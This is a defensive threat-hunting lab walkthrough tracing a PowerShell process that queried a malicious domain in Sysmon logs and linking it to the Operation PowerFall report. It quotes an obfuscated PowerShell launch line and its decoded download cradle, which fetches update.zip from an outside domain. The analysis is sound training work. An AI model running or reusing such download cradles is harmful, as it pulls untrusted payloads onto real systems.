Intro Lab 2: Powerfall Convo

Starting at the VT Hunting Dashboard, we see some new tables have been added, including one called VT Malicious Domains. The top two entries in this table are for www[dot]static-cdn1[dot]com.

You’ll find that network-based indicators like domains don’t always have the same conclusive agreement that they’re “bad” compared to things like file hashes. With a file hash, you can often get the actual file, do static or dynamic analysis, and really dive deep to see what it’s doing. With network indicators you’re often going to be lucky if you have a pcap. On top of that, network indicators might be:

• Shared by multiple malicious and non-malicious users.
• Can be running services on different ports not all of which are bad.
• Over time may change from being bad to good, or vice versa (maybe the domain expires and is purchased by someone legitimate).

What this means is that if you get an alert that something is communicating to a malicious domain or IP address on your network, you’re going to have to try to gather more context before you can necessarily conclude if it’s something to worry about. A request from an application on a user workstation verse a network security appliance enumerating DNS blocklists will warrant very different responses. Similarly, a request from an unknown application to a “good” domain or IP may also warrant investigation.

To answer this question, we can follow a similar process to what we did for Model 3. From the VT Malicious Domains table, we’ll filter for www[dot]static-cdn1[dot]com, pin it and go to the Discover tab where you should see two results.

If you haven’t discovered it yet, you can select columns to display in the results view. To help make these next couple of questions a little easier let’s add the following columns:

• winlog.event_id
• winlog.event_data.ProcessId
• winlog.event_data.Image

We can see there are two processes that made a request for our malicious domain. PowerShell and MsMpEng. MsMpEng is related to Windows Defender. It’s not uncommon to see security products make DNS queries for a variety of reasons, so we start by drilling down on the PowerShell process execution instead. Let’s set a filter for that process ID (PID), which will bring us down to one result (because we’re filtering for PID 8088 AND the DNS query). If we temporarily disable our DNS query filter, we’ll get all the records for 8088.

Now, we can expand the process create (event ID 1) entry and look at the winlog.event_data.CommandLine value to see the command line arguments that were used to launch PowerShell: powershell.exe -WindowStyle hidden -NoExit -ep bypass -nop -encodedCommand //4oAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQ<truncated>

The arguments used are fairly typical for what you would see with malicious PowerShell use:

• WindowStyle hidden - Hide the console window while the command runs.
• NoExit - Don’t exit after the command has been run.
• ep (ExecutionPolicy) bypass - Sets the execution policy to bypass, which basically means run this command no questions asked.
• nop (NoProfile) - Don’t use the PowerShell Profile, which implies that only out of the box PowerShell functions can be used.
• encodedCommand: A based64 encoded command to be run. This was originally designed to make it easier to run commands that used characters which can be a pain (like quotes). In the wild it’s much more common to see it used to obfuscate malicious things.

To decode the last command, we can use CyberChef with a base64 decoding recipe. Copy and paste the base64 string into the input (including the //) and the output will be: (New-Object System.Net.WebClient).DownloadFile("https://www[dot]static-cdn1[dot]com/update.zip", "C:\Users\lab-admin\Desktop\update.zip")

This command attempts to download update.zip and write it to the lab-admin’s Desktop.

Note: If you just did a base64 decode, you probably got something close to the output above (at least enough to make out that content). However, PowerShell requires the commands use UTF-16LE encoding, which is why the linked recipe includes an additional decoding step.

If we look at the log for the event 22 entry, we’ll see that the “Query Status” value shows 9003. This code is used to indicate that a DNS name doesn’t exist (also called an NXDOMAIN). Basically, it means no IP address could be determined to make the request to, and so it didn’t complete.

The PowerShell process create occurred at 2020-09-05T17:35:06.294Z by 22ec4e4c-wsw10\lab-admin on 22ec4e4c-wsw10.windomain.local and the last event captured was the DNS query at 2020-09-05T17:35:09.066Z with no activity after.

If you were feeling ambitious (or thorough), you could also check to see what the full process execution tree was:

• 2020-09-05T17:35:06.294Z
  • PID: 8088
  • Image: powershell.exe
• 2020-09-05T17:35:02.808Z
  • PID: 4916
  • Image: cmd.exe
• 2020-09-05T17:34:36.504Z
  • PID: 5696
  • Image: explorer.exe
• 2020-09-05T17:34:36.178Z
  • PID: 5624
  • Image: userinit.exe
• 2020-09-05T17:34:24.640Z
  • PID: 1296
  • Image: winlogon.exe
• 2020-09-05T17:34:24.583Z
  • PID: 696
  • Image: smss.exe
• Process create not captured
  • PID: 400
  • Image: smss.exe

If you do a web search for this domain, you should get a result for a Kaspersky report called Internet Explorer and Windows zero-day exploits used in Operation PowerFall. In it they speculate the group DarkHotel may be behind it.